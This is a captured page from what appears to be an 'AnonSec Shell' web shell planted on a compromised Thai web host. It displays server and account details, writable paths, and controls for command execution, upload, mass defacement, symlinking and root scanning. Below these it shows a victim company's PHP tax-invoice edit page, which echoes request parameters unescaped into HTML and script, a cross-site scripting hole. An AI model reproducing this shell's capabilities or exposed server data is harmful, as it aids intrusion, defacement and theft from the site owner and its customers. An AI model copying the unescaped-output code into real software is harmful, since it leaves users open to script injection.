AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/public_html/ilawasia.onnud20.com/TaxInvoice/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/public_html/ilawasia.onnud20.com/TaxInvoice/Edit.php
<?php $path = '../'; ?>
<?php $page="TaxInvoice"; ?>
<?php $page_title="TaxInvoice"; ?>
<?php include("../include/class.php"); ?>
<?php include($path."include/head.php"); ?>
<?php

$Keyword = @$_GET['Id'];
$PageSize = 10;
$PageNumber = 1;
if(isset($_GET['PageNumber'])){$PageNumber = $_GET['PageNumber'];}

//$data = $invoice_db->LoadInvoiceItems($Keyword);

$arrayName = array(
  'TaxInvoiceId' => @$_REQUEST['Id'],
  'CustomerCode' => @$_REQUEST['CustomerCode'],
  'CustomerId' => @$_REQUEST['CustomerId'],
  'CustomerName' => @$_REQUEST['CustomerId'],
  'PageNumber' => @$PageNumber,
  'page' => '1',
  'OrderBy' => @$_REQUEST['OrderBy'],
  'OrderDirection' => @$_REQUEST['OrderDirection'],
  'PageSize' => @$PageSize,

);

$data = $taxInvoice_db->Index($arrayName);
if($data['Data'][0]['UpdateDateTime']!=''){
  $CreateDateTime = $util_class->day_num2($data['Data'][0]['UpdateDateTime']);
}else{
  $CreateDateTime = $util_class->day_num2($data['Data'][0]['CreateDateTime']);

}
$taxInvoice = $data['Data'][0]['InvoiceId'];

/*
echo "<pre>";
print_r($data);
echo "</pre>";
*/
 ?>
<body id="page-top">
    <!-- Page Wrapper -->
    <div id="wrapper">
        <!-- Sidebar -->
        <?php include($path."themes/menu-left.php"); ?>

        <!-- End of Sidebar -->
        <!-- Content Wrapper -->
        <div id="content-wrapper" class="d-flex flex-column">
            <!-- Topbar -->
            <?php include($path."themes/menu-top.php"); ?>
            <!-- End of Topbar -->
            <!-- Begin Page Content -->
            <div class="container-fluid main-content">
              <input type="hidden" id="page-menu-id" name="" value="#menu_account" />
              <div class="d-sm-flex align-items-center justify-content-between mb-4">
                  <h1 class="h3 mb-0 text-gray-800">แก้ไข Tax Invoice</h1>
              </div>
              <?php if(@$_SESSION['Success']!=''){ ?>
                <div class="alert alert-success">
                    <?php echo $_SESSION['Success']; ?>
                </div>
              <?php } ?>

              <?php if(@$_SESSION['Error']!=''){ ?>
                <div class="alert alert-danger">
                    <?php echo $_SESSION['Error']; ?>
                </div>
              <?php } ?>

              <form class="" action="Update.php" method="post" enctype="multipart/form-data" id="taxinvoice-form">

                <?php include("form.php"); ?>
                <br />
                <br />
                <input type="hidden" name="Id" value="<?php echo @$_GET['Id']; ?>">
                  <button class="btn btn-primary btn-icon-split">
                      <span class="icon text-white-50">
                          <i class="far fa-save"></i>
                      </span>
                      <span class="text">Save</span>
                  </button>


                <a href="index.php" class="btn btn-secondary btn-icon-split">
                    <span class="icon text-white-50">
                        <i class="fas fa-arrow-left"></i>
                    </span>
                    <span class="text">Back</span>
                </a>
              </form>


              <link href="<?php echo $path; ?>Assets/Backend/vendor/bootstrap-datepicker/css/bootstrap-datepicker3.min.css" rel="stylesheet" />
              <script src="<?php echo $path; ?>Assets/Backend/vendor/bootstrap-datepicker/js/bootstrap-datepicker.min.js"></script>
              <script src="<?php echo $path; ?>Assets/Backend/vendor/moment.js"></script>
              <link href="<?php echo $path; ?>Assets/Backend/vendor/jquery-ui/jquery-ui.min.css" rel="stylesheet" />
              <script src="<?php echo $path; ?>Assets/Backend/vendor/jquery-ui/jquery-ui.min.js"></script>
              <script>
                  $('.input-group.date').datepicker({
                      format: "dd/mm/yyyy",
                      todayHighlight: true
                  }).on('hide', function (e) {
                      e.stopPropagation();
                  });
                  var urlLoadCustomerAuto = "LoadCustomerAutoComplete.php";//"@Url.Action("LoadCustomerAutoComplete","Customer")";
                  var urlLoadCustomer = "LoadCustomer.php";//"@Url.Action("LoadCustomer","Customer")";
                  var urlLoadInvoiceList = "LoadInvoiceList.php";//"@Url.Action("LoadInvoiceList")";
                  var urlLoadItems = "LoadInvoiceItems.php";//"@Url.Action("LoadInvoiceItems","Invoice")";
                  var taxInvoiceId = "<?php echo @$_GET['Id']; ?>";//"@Model.Data.TaxInvoiceId";
                  var invoiceId = "<?php echo @$taxInvoice; ?>";//"@Model.Data.InvoiceId";
                  var urlLoadUser = "LoadUsersAutoComplete.php";//"@Url.Action("LoadUsersAutoComplete", "Home")";
              </script>
              <script src="<?php echo $path; ?>/Scripts/jquery.validate.min.js"></script>
              <script src="<?php echo $path; ?>/Scripts/pages_v1/taxInvoice.js?t=<?php echo $date_ticks; ?>"></script>
            </div>
          <!-- End of Page Content -->
          <!-- Footer -->
          <footer class="sticky-footer bg-white">
              <div class="container my-auto">
                  <div class="copyright text-center my-auto">
                      <span>Copyright &copy;  ILAW CO., LTD.</span>
                  </div>
              </div>
          </footer>
          <!-- End of Footer -->
        </div>
      <!--End of Content Wrapper -->

      </div>
      <!-- End of Page Wrapper -->
      <!-- Scroll to Top Button-->
      <a class="scroll-to-top rounded" href="#page-top">
      <i class="fas fa-angle-up"></i>
      </a>

      <?php include($path."include/footer_js.php"); ?>

      <?php unset($_SESSION['Success']); ?>
      <?php unset($_SESSION['er']); ?>
      <?php unset($_SESSION['Error']); ?>
    </body>
</html>

Anon7 - 2022
AnonSec Team